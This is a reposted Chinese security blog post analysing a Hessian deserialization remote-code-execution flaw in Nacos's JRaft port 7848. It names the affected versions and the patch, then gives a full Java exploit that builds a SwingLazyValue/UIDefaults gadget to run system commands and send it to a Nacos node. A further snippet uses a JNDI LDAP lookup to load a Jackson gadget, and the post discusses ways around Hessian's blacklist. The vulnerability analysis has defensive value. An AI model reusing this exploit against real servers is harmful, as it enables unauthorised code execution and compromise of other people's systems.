Nacos Hessian 反序列化 RCE

admin 2023年6月9日09:10:49评论59 views字数 7319阅读24分23秒阅读模式
Nacos Hessian 反序列化 RCE

原文作者:Y4er

原文地址:https://y4er.com/posts/nacos-hessian-rce/

漏洞概述

由于7848端口采用hessian协议传输数据,反序列化未设置白名单导致存在RCE漏洞。

影响版本

Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响,但是集群模式受影响。然而,2.x版本无论单机或集群模式均默认开放7848端口。

主要受影响的是7848端口的Jraft服务。

分析

以nacos2.2.2为例,单机模式下启动

Nacos Hessian 反序列化 RCE
本地监听7848端口

Nacos Hessian 反序列化 RCE

补丁 https://github.com/alibaba/nacos/pull/10542/files

能看出来是hessian的锅,看一下在哪用的hessian
com.alibaba.nacos.consistency.SerializeFactory#getDefault 序列化工厂类

Nacos Hessian 反序列化 RCE
默认用的就是hessian,没啥可分析的。
重点在怎么构造请求包和gadget,根据《JRaft 用户指南》 可知以下代码

package org.example;
import com.alibaba.nacos.consistency.entity.WriteRequest;import com.alipay.sofa.jraft.RouteTable;import com.alipay.sofa.jraft.conf.Configuration;import com.alipay.sofa.jraft.entity.PeerId;import com.alipay.sofa.jraft.option.CliOptions;import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;import com.google.protobuf.ByteString;import sun.reflect.misc.MethodUtil;import sun.swing.SwingLazyValue;
import javax.swing.*;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.concurrent.ConcurrentHashMap;

public class Main {
    public static void send(String addr, byte[] payload) throws Exception {        Configuration conf = new Configuration();        conf.parse(addr);        RouteTable.getInstance().updateConfiguration("nacos", conf);        CliClientServiceImpl cliClientService = new CliClientServiceImpl();        cliClientService.init(new CliOptions());        RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();        PeerId leader = PeerId.parsePeer(addr);        Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");        parserClasses.setAccessible(true);        ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());        map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());        MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());        final WriteRequest writeRequest = WriteRequest.newBuilder().setGroup("naming_persistent_service_v2").setData(ByteString.copyFrom(payload)).build();        Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), writeRequest, 5000);    }
    private static byte[] build(String cmd) throws Exception {        String[] command = {"cmd", "/c", cmd};        Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);        Method exec = Runtime.class.getMethod("exec", String[].class);        SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{command}}});//        Object value = swingLazyValue.createValue(new UIDefaults());
//        Method getClassFactoryMethod = SerializerFactory.class.getDeclaredMethod("getClassFactory");//        SwingLazyValue swingLazyValue1 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{getClassFactoryMethod, SerializerFactory.createDefault(), new Object[]{}}});//        Object value = swingLazyValue1.createValue(new UIDefaults());////        Method allowMethod = ClassFactory.class.getDeclaredMethod("allow", String.class);//        SwingLazyValue swingLazyValue2 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{allowMethod, value, new Object[]{"*"}}});//        Object value1 = swingLazyValue2.createValue(new UIDefaults());//        System.out.println(value1);
        UIDefaults u1 = new UIDefaults();        UIDefaults u2 = new UIDefaults();        u1.put("key", swingLazyValue);        u2.put("key", swingLazyValue);        HashMap hashMap = new HashMap();        Class node = Class.forName("java.util.HashMap$Node");        Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);        constructor.setAccessible(true);        Object node1 = constructor.newInstance(0, u1, null, null);        Object node2 = constructor.newInstance(0, u2, null, null);        Field key = node.getDeclaredField("key");        key.setAccessible(true);        key.set(node1, u1);        key.set(node2, u2);        Field size = HashMap.class.getDeclaredField("size");        size.setAccessible(true);        size.set(hashMap, 2);        Field table = HashMap.class.getDeclaredField("table");        table.setAccessible(true);        Object arr = Array.newInstance(node, 2);        Array.set(arr, 0, node1);        Array.set(arr, 1, node2);        table.set(hashMap, arr);

        HashMap hashMap1 = new HashMap();        size.set(hashMap1, 2);        table.set(hashMap1, arr);

        HashMap map = new HashMap();        map.put(hashMap, hashMap);        map.put(hashMap1, hashMap1);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();        Hessian2Output output = new Hessian2Output(baos);        output.getSerializerFactory().setAllowNonSerializable(true);        output.writeObject(map);        output.flushBuffer();
        Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(baos.toByteArray()));        SerializerFactory.createDefault().getClassFactory().allow("*");        hessian2Input.readObject();
        return baos.toByteArray();    }
    public static void main(String[] args) throws Exception {        byte[] bytes = build("calc");        send("localhost:7848", bytes);    }}

com.alibaba.nacos.core.distributed.raft.NacosStateMachine#onApply中判断类型是否是WriteRequest,所以需要处理一下WriteRequest类型,也就是反射的那几行。
Nacos Hessian 反序列化 RCE
触发堆栈如下

deseiralize0:61, HessianSerializer (com.alibaba.nacos.consistency.serialize)deserialize:47, HessianSerializer (com.alibaba.nacos.consistency.serialize)onApply:188, PersistentClientOperationServiceImpl (com.alibaba.nacos.naming.core.v2.service.impl)onApply:122, NacosStateMachine (com.alibaba.nacos.core.distributed.raft)doApplyTasks:589, FSMCallerImpl (com.alipay.sofa.jraft.core)doCommitted:553, FSMCallerImpl (com.alipay.sofa.jraft.core)runApplyTask:459, FSMCallerImpl (com.alipay.sofa.jraft.core)access$100:73, FSMCallerImpl (com.alipay.sofa.jraft.core)onEvent:150, FSMCallerImpl$ApplyTaskHandler (com.alipay.sofa.jraft.core)onEvent:142, FSMCallerImpl$ApplyTaskHandler (com.alipay.sofa.jraft.core)run:137, BatchEventProcessor (com.lmax.disruptor)run:750, Thread (java.lang)

gadget构造

gadget的前半部分用hashmap来触发UIDefaults.get()就行,主要利用点在后半部分。之前打ctf的时候看到过一些方式

https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk/writeup

hessian有一些原生jdk的链,不过我复现的2.2.2版本中用的hessian-4.0.63.jar,这个版本有内置的黑名单

黑名单在 com.caucho.hessian.io.ClassFactory#isAllow(java.lang.String)

Nacos Hessian 反序列化 RCE
所以MethodUtils+Runtime不能用了,System.setProperty + InitalContext.doLookup也g了,不过可以用com.sun.org.apache.bcel.internal.util.JavaWrapper,直接加载bcel字节码rce,不过bcel classloader在8u251没了,所以仍然想找一个通用点的方式。
然后想像cc链那样链式执行加一个白名单进去,但是SwingLazyValue不能像transform那样链式,所以这个想法也g了。
于是和@X1r0z讨论了一下,nacos是springboot,内置了jackson,可以用jndi lookup配合jackson POJONode的gadget打rce

SwingLazyValue swingLazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://127.0.0.1:1389/xx"});
UIDefaults u1 = new UIDefaults();UIDefaults u2 = new UIDefaults();u1.put("aaa", swingLazyValue);u2.put("aaa", swingLazyValue);
Map map = HashColl.makeMap(u1, u2);

jdni自己写一个ldap server,返回jackson的gadget就行了,见这个Jackson.java

坑点

这个洞只能打一次,第二次就打不了了,所以一定要谨慎使用。

参考

  1. https://mp.weixin.qq.com/s/0J0K0iY3bcmYcOuPGymAlQ
  2. https://blog.z3ratu1.cn/0CTF2022%E5%A4%8D%E7%8E%B0.html
  3. https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
  4. https://www.sofastack.tech/projects/sofa-jraft/jraft-user-guide/
  5. https://siebene.github.io/2022/09/19/0CTF2022-hessian-onlyjdk-WriteUp/

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。

原文作者:Y4er
原文地址:https://y4er.com/posts/nacos-hessian-rce/

原文始发于微信公众号(Ots安全):Nacos Hessian 反序列化 RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月9日09:10:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nacos Hessian 反序列化 RCEhttps://cn-sec.com/archives/1789627.html

发表评论

匿名网友 填写信息